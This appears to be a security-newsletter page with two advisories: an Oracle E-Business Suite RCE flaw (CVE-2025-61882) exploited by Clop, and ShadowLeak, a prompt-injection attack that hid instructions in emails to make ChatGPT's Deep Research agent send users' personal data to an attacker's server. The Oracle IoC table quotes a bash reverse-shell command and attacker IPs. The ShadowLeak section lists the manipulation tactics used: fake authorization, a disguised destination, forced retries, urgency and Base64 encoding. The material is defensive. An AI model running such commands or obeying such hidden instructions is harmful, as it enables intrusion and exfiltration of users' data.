The vulnerability allows attackers to gain remote code execution by sending specially crafted HTTP requests to exposed Oracle EBS services. Once exploited, it enables full system compromise, including reverse shell access. The vulnerability has been using by Clop ransomware group in conjunction with other previously known EBS flaws to exfiltrate sensitive data and extort victims. Indicators of compromise (IoCs) such as malicious IPs, shell commands, and exploit files have been published to help organizations detect past intrusions.

Oracle’s fix includes the patch for this flaw but also mitigates additional exploitation paths identified during their internal investigation. 

CVE ID Component Affected  Vulnerability Details Impact 
CVE-2025-61882 BI Publisher Integration A critical unauthenticated RCE in Oracle EBusiness Suite affecting the Concurrent Processing/BI Publisher integration.   Full system compromise, data theft.  

Recommendations 

Users And Administrators should immediately apply the Security Patch for CVE202561882 on all affected Oracle E-Business Suite systems: 

  • Log in to My Oracle Support. 
  • Use the patch availability document & search for the patch specific to CVE-2025-61882 for your OS and Oracle EBS version. 

Prerequisite: Ensure the October 2023 Critical Patch Update (CPU) is already installed. 

Here are some recommendations below 

  • If immediate patching is not possible, restrict HTTP/HTTP/HTTPS access to the EBS application from untrusted networks. 
  • Review server logs, network traffic and system processes to detect signs of exploitation. 
  • Monitor for known Indicators of Compromise (IoCs) provided by Oracle from the table below. 

IOCs 
 

Indicator Type Description 
200[.]107[.]207[.]26 IP Potential GET and POST activity 
185[.]181[.]60[.]11 IP Potential GET and POST activity 
sh -c /bin/bash -i >& /dev/tcp// 0>&1 Command Establish an outbound TCP connection over a specific port 
76b6d36e04e367a2334c445b51e1ecce97e4c614e88dfb4f72b104ca0f31235d SHA 256 oracle_ebs_nday_exploit_poc_scattered_lapsus_retard_cl0p_hunters.zip 
aa0d3859d6633b62bccfb69017d33a8979a3be1f3f0a5a4bf6960d6c73d41121 SHA 256 oracle_ebs_nday_exploit_poc_scattered_lapsus_retard-cl0p_hunters/exp.py 
6fd538e4a8e3493dda6f9fcdc96e814bdd14f3e2ef8aa46f0143bff34b882c1b SHA 256 oracle_ebs_nday_exploit_poc_scattered_lapsus_retard-cl0p_hunters/server.py 

Source: Oracle 

Conclusion: 
This is the ongoing threat exploitation by the ransomware group, particularly for unpatched Oracle EBS deployments.

As this is being actively exploited in the wild, upgrade to the supported patched version and organizations should also review logs, investigate for signs of compromise using Oracle’s IoCs, and strengthen network access controls around EBS systems. Immediate action is required to reduce the risk of further exploitation, data loss and operational disruption. 

References: 

Security Advisory

Radware Uncovers Server Side Attack Targeting ChatGPT Known as Shadowleak

Researchers at Radware uncovered a server-side data theft attack targeting ChatGPT, termed as ShadowLeak. The experts discovered the zero-click vulnerability in ChatGPT’s Deep Research agent when connected to Gmail and browsing. 

In this attack type ‘Service-side’ pose greater risk as enterprise defenses cannot detect exfiltration because it runs from the provider’s infrastructure.

ShadowLeak a Server side attack

For any normal user there would be no visible signs of data loss as the AI agent acts as a trusted proxy, sending sensitive data to attacker-controlled endpoints. These server-side requests face fewer URL restrictions, letting attackers export data to virtually any destination.

Shadowleak is an uncovered security flaw affecting ChatGPT’s Deep Research Agent. Which can connect to services like Gmail to help users analyze their emails.

Attackers could hide invisible instructions in a regular looking email. When the user asked ChatGPT to review their mailbox contents selecting deep research.

Vulnerability Details 

ChatGPT’s Deep Research Agent was vulnerable because it could be tricked into following hidden instructions that were inside a seemingly ordinary email. When users ask the agent to analyze their inbox, any attacker can craft the message with invisible commands and cause AI to leak private data without warning.

These hidden instructions used tricks to fool the AI and get around its built-in safety checks. Some of those tricks included: 

  • Pretending to Have Permission: The prompt told the agent that it had “full authorization” to access outside websites, even though it didn’t. 
  • Hiding the Real Purpose: It disguised the hacker’s website as something safe sounding, like a “compliance validation system.” 
  • Telling the Agent to Keep Trying: If the AI couldn’t reach the attacker’s website the first time, the prompt told it to try again helping it sneak past any temporary protections. 
  • Creating Urgency: The prompt warned the agent that if it didn’t follow the instructions, it might not complete the report properly pushing it to obey. 
  • Hiding the Stolen Info: The agent was told to encode the personal data using Base64, which made the data harder to spot and helped hide the theft. 

After reading the fake email, the agent would go look through the user’s real emails (like HR messages) and find personal info such as full names and addresses.

Without alerting the user, the AI would send that information to the attacker’s server, happening silently in the background, with no warning or visible signs. 

This attack is not limited only to Gmail, also applies to any data sources Deep Research accesses, including Google Drive, Dropbox, Outlook, Teams and more. Any connected service that feeds text into the agent can pose a risk to hidden prompts, making sensitive business data vulnerable to exfiltration. 

Source: radware.com 

Attack Flow 

Step Description 
Malicious Email Crafting Attackers create a legitimate email embedded with hidden, invisible prompt instructions to extract sensitive data. Use social engineering and obfuscation. 
Email Delivery and Receipt The victim receives the email in Gmail without needing to open it; hidden commands are present in the email’s HTML body. 
User Invokes Deep Research The victim asks ChatGPT’s Deep Research Agent to analyze their inbox or specific emails, triggering the agent’s activity. 
Parsing Hidden Instructions The agent reads and interprets the hidden malicious prompt embedded within the attacker’s email. 
Extraction of Sensitive Data Following the instructions, the agent locates and extracts personal information like names and addresses from real emails. 
Data Exfiltration to Attacker The agent uses internal tools to send the extracted, often Base64-encoded data to an attacker-controlled external server. 
Victim Remains Unaware The entire process happens silently on OpenAI’s servers with no visible alerts or client-side traces for the user or admins. 

Why It’s Effective 

This “zero-click” attack happened entirely on OpenAI’s servers, where traditional security tools couldn’t detect or stop it, and victims never saw any warning. OpenAI was informed by radware security team in June 2025 and OpenAI fully patched the issue by September. 

The attack runs silently in a trusted cloud environment, invisible to users and traditional security tools.

It tricks the AI into repeatedly sending encoded sensitive data, bypassing safety checks and ensuring successful data theft. This stealthy, zero-click nature means no user interaction is required, making detection extremely difficult and allowing the attacker to exfiltrate data unnoticed over extended periods. 

Recommendations: 

Here are some recommendations below 

  • Email Sanitization: Normalize and strip hidden or suspicious HTML/CSS elements from emails before they are processed by AI agents. This reduces the risk of hidden prompt injections. 
  • Strict Agent Permissions: Limit AI agent access only to the data and tools necessary for its tasks, minimizing exposure to sensitive information. 
  • Behavior Monitoring: Continuously monitor AI agent actions and behavior in real time to detect anomalies or actions deviating from user intent. 
  • Regular Patch Management: Keep AI tools, connectors and integrated systems up to date with the latest security fixes and improvements. 
  • Awareness and Training: Educate users and administrators about the types of attacks AI agents are vulnerable to, fostering vigilance and quick incident response. 

Conclusion 


The ShadowLeak vulnerability underscores the critical risks posed when powerful AI tools operate without sufficient safeguards. By hiding secret commands inside emails, attackers were able to steal personal information without the user knowing.

This case highlights the need for strong safety measures, including limiting AI access to sensitive information, sanitizing inputs to prevent hidden commands, and continuously monitoring agent behavior to detect anomalies.

As more AI tools are used, it’s important to keep strong security controls and oversight to use these technologies safely and protect sensitive data from new threats. 

References: 

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